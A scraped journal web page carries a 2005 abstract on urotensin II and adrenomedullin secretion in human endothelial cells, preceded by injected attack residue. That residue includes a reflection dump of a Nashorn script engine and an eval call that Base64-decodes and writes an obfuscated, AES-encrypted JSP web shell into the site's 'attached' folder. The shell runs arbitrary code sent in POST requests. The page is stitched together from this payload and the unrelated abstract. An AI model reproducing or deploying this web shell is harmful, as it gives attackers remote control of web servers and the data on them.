public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2005, Vol. 25 ›› Issue (07): 791-793.

Previous Articles     Next Articles

Mechanism of urotensin Ⅱ-stimulated adrenomedullin secretion in human vascular endothelial cells

SHI Xiang-dong1, LI Zhi-liang1, WU Hong-chao1, WANG Tong-han1, Fu Qiang1, YAN Quan-neng1, TANG Chao-shu2   

  1. 1. 南方医科大学珠江医院心内科, 广东, 广州, 510282;
    2. 北京大学第一医院心血管研究所, 北京, 100034
  • Online:2005-07-20 Published:2005-07-20

PDF

1029

Abstract: Objective To study the mechanism of urotensin Ⅱ( UⅡ)-stimulated adrenomedullin secretion in human vascular endothelial cells. Methods In cultured human vascular endothelial cells (HEVCs),different concentrations of UⅡ was used to stimulate the secretion of Adm,and different inhibitors were used to study the changes in the secretion after block of different signal transduction pathways.The contents of Adm in the medium were detected with radioimmunoassay. Results UⅡ-stimulated Adm secretion in the HEVCs in a time- and concentration-dependent manner.Adm contents of the treatment groups were comparable with that of the control group (P<0.05 ),and the secretion of Adm could be inhibited by the inhibitor of extracellular signal-regulated protein kinases (PD098059),p38 kinase inhibitor (SB202190),calmodulin inhibitor (W7) and Ca2+ inhibitor (nicardipine)(P<0.05),but calcineurin inhibitor and protein kinase C inhibitor (H7) had no such effect (P>0.05). Conclusion Ca2+,MAPK,CaM-PK and p38 signal transduction pathways may play major roles in UⅡ-stimulated cecretion of Adm in HVECs.

CLC Number: